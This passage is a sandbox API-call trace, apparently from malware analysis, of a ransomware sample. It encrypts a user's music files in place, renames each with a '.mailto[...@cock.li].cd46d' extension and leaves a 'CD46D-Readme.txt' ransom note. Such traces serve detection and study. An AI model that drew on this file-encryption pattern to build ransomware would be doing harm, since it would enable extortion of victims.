HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4adfca0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0149.590] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf8) returned 0x8ec0d8 [0149.592] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0149.592] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a8b38) returned 1 [0149.592] NtQueryInformationFile (in: FileHandle=0x16c4, IoStatusBlock=0x4adfcac, FileInformation=0x4adfc84, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4adfcac, FileInformation=0x4adfc84) returned 0x0 [0149.592] NtSetInformationFile (FileHandle=0x16c4, IoStatusBlock=0x4adfcac, FileInformation=0x4adfc84, Length=0x28, FileInformationClass=0x4) returned 0x0 [0149.593] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbf08) returned 1 [0149.593] FlushFileBuffers (hFile=0x16c4) returned 1 [0149.659] CloseHandle (hObject=0x16c4) returned 1 [0149.659] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac4c8 [0149.659] wcscpy (in: _Dest=0x9ac4c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0149.659] wcscat (in: _Dest=0x9ac4c8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" [0149.659] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\cd46d-readme.txt")) returned 0x20 [0149.776] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac4c8) returned 1 [0149.776] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934090) returned 1 Thread: id = 2743 os_tid = 0x177c [0148.237] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\wq6vn4ibvhyq8tj.m4a")) returned 0x20 [0148.834] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a", dwFileAttributes=0x20) returned 1 [0148.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\wq6vn4ibvhyq8tj.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1268 [0148.835] GetFileSizeEx (in: hFile=0x1268, lpFileSize=0x92ff7f0 | out: lpFileSize=0x92ff7f0*=75847) returned 1 [0148.835] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x12843, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.835] ReadFile (in: hFile=0x1268, lpBuffer=0x92ff774, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x92ff770, lpOverlapped=0x0 | out: lpBuffer=0x92ff774*, lpNumberOfBytesRead=0x92ff770*=0x4, lpOverlapped=0x0) returned 1 [0148.836] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.836] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0148.836] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee48 [0148.836] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0148.836] NtQuerySystemTime (in: CurrentTime=0x92ff750 | out: CurrentTime=0x92ff750*=132174899234410000) returned 0x0 [0148.836] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x43b2cac5 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x13f2161d [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x4aa788e0 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x67e8f6a5 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x6b2c26d3 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x6aa9bd39 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0xdc0082f [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x658768c0 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x4ac73432 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x3d50eabf [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x40385ff9 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0xc6dac24 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x11e9c6eb [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x4d40a638 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x55a8f8ea [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x2c106cb2 [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x6949462c [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x2122298a [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x2ced09b [0148.837] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x74610284 [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0xcae677f [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x1c8fd91f [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x32c7fad6 [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x11744fc9 [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x73614ff [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x4b0f3534 [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x28139f38 [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x50831790 [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x77e4ca44 [0148.838] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x7d9778b7 [0148.839] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x24b9205e [0148.839] RtlRandomEx (in: Seed=0x92ff75c | out: Seed=0x92ff75c) returned 0x2bdfc595 [0148.850] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.850] ReadFile (in: hFile=0x1268, lpBuffer=0xd494048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x92ff730, lpOverlapped=0x0 | out: lpBuffer=0xd494048*, lpNumberOfBytesRead=0x92ff730*=0xc800, lpOverlapped=0x0) returned 1 [0148.851] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.851] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2938 [0148.851] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c710 [0148.851] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0148.851] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0148.852] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd4a0850 [0148.854] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0148.854] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0148.854] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0148.854] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c710) returned 1 [0148.854] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0148.854] WriteFile (in: hFile=0x1268, lpBuffer=0xd4a0850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x92ff730, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesWritten=0x92ff730*=0xc800, lpOverlapped=0x0) returned 1 [0148.855] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0148.855] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494048) returned 1 [0148.860] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x33) returned 0x93afb8 [0148.861] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.861] WriteFile (in: hFile=0x1268, lpBuffer=0x904a90*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x92ff7b0, lpOverlapped=0x0 | out: lpBuffer=0x904a90*, lpNumberOfBytesWritten=0x92ff7b0*=0x117, lpOverlapped=0x0) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904a90) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93af78) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93afb8) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af028) returned 1 [0148.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e99e0) returned 1 [0148.863] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x904a90 [0148.863] wcscpy (in: _Dest=0x904a90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a" [0148.863] wcscat (in: _Dest=0x904a90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0148.863] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x92ff768, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.863] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf0) returned 0x8f6bf8 [0148.864] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6bf8) returned 1 [0148.864] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x972f30) returned 1 [0148.864] NtQueryInformationFile (in: FileHandle=0x1268, IoStatusBlock=0x92ff774, FileInformation=0x92ff74c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x92ff774, FileInformation=0x92ff74c) returned 0x0 [0148.864] NtSetInformationFile (FileHandle=0x1268, IoStatusBlock=0x92ff774, FileInformation=0x92ff74c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0148.868] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904a90) returned 1 [0148.868] FlushFileBuffers (hFile=0x1268) returned 1 [0148.869] CloseHandle (hObject=0x1268) returned 1 [0148.870] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac560 [0148.870] wcscpy (in: _Dest=0x9ac560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0148.870] wcscat (in: _Dest=0x9ac560, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" [0148.870] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\cd46d-readme.txt")) returned 0x20 [0148.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac560) returned 1 [0148.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ace48) returned 1 Thread: id = 2744 os_tid = 0x1780 [0148.238] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\ync6_n.mp3")) returned 0x20 [0148.871] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3", dwFileAttributes=0x20) returned 1 [0148.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\ync6_n.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1268 [0148.872] GetFileSizeEx (in: hFile=0x1268, lpFileSize=0x4a0fa34 | out: lpFileSize=0x4a0fa34*=19437) returned 1 [0148.872] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x4be9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.872] ReadFile (in: hFile=0x1268, lpBuffer=0x4a0f9b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4a0f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4a0f9b8*, lpNumberOfBytesRead=0x4a0f9b4*=0x4, lpOverlapped=0x0) returned 1 [0148.873] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.873] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e99e0 [0148.873] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a08 [0148.873] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9b70 [0148.873] NtQuerySystemTime (in: CurrentTime=0x4a0f994 | out: CurrentTime=0x4a0f994*=132174899234878000) returned 0x0 [0148.873] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x3953cb0 [0148.873] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x332b6d92 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x26833358 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x71d523d4 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x7bd47d07 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x6a441b43 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x6df05cb0 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x496e1671 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x73b4ccd5 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x1bbcb8d4 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x660eeb9e [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x1cad157c [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x4d848875 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x50b8ce8a [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x512dd26b [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x48730eba [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x7bb54c15 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x2c106cb2 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x6ac16943 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x33380f57 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x7a2b2e20 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x755b03b [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0xbe34beb [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x11e9c6eb [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x7f2cc88c [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x1ea665b1 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x77e4ca44 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x6f3c96f7 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x34365875 [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x34e9bc4b [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x37f1658b [0148.874] RtlRandomEx (in: Seed=0x4a0f9a0 | out: Seed=0x4a0f9a0) returned 0x36e8f402 [0148.886] ReadFile (in: hFile=0x1268, lpBuffer=0xd494048, nNumberOfBytesToRead=0x4bed, lpNumberOfBytesRead=0x4a0f990, lpOverlapped=0x0 | out: lpBuffer=0xd494048*, lpNumberOfBytesRead=0x4a0f990*=0x4bed, lpOverlapped=0x0) returned 1 [0148.888] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.888] WriteFile (in: hFile=0x1268, lpBuffer=0xd4a0850*, nNumberOfBytesToWrite=0x4bed, lpNumberOfBytesWritten=0x4a0f98c, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesWritten=0x4a0f98c*=0x4bed, lpOverlapped=0x0) returned 1 [0148.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e99e0 [0148.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9b70 [0148.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b70) returned 1 [0148.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0148.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494048) returned 1 [0148.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c710) returned 1 [0148.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0148.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x21) returned 0x8d8898 [0148.890] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.890] WriteFile (in: hFile=0x1268, lpBuffer=0x904a90*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x4a0f9f4, lpOverlapped=0x0 | out: lpBuffer=0x904a90*, lpNumberOfBytesWritten=0x4a0f9f4*=0x105, lpOverlapped=0x0) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904a90) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b70) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e99e0) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a08) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9968) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9990) returned 1 [0148.891] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc8) returned 0x938cb8 [0148.891] wcscpy (in: _Dest=0x938cb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3" [0148.891] wcscat (in: _Dest=0x938cb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0148.891] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4a0f9ac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.891] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x904a90 [0148.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904a90) returned 1 [0148.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x917fb8) returned 1 [0148.893] NtQueryInformationFile (in: FileHandle=0x1268, IoStatusBlock=0x4a0f9b8, FileInformation=0x4a0f990, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4a0f9b8, FileInformation=0x4a0f990) returned 0x0 [0148.893] NtSetInformationFile (FileHandle=0x1268, IoStatusBlock=0x4a0f9b8, FileInformation=0x4a0f990, Length=0x28, FileInformationClass=0x4) returned 0x0 [0148.894] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938cb8) returned 1 [0148.894] FlushFileBuffers (hFile=0x1268) returned 1 [0148.895] CloseHandle (hObject=0x1268) returned 1 [0148.896] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac560 [0148.896] wcscpy (in: _Dest=0x9ac560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\" [0148.896] wcscat (in: _Dest=0x9ac560, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" [0148.896] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\cd46d-readme.txt")) returned 0x20 [0148.896] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac560) returned 1 [0148.897] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, 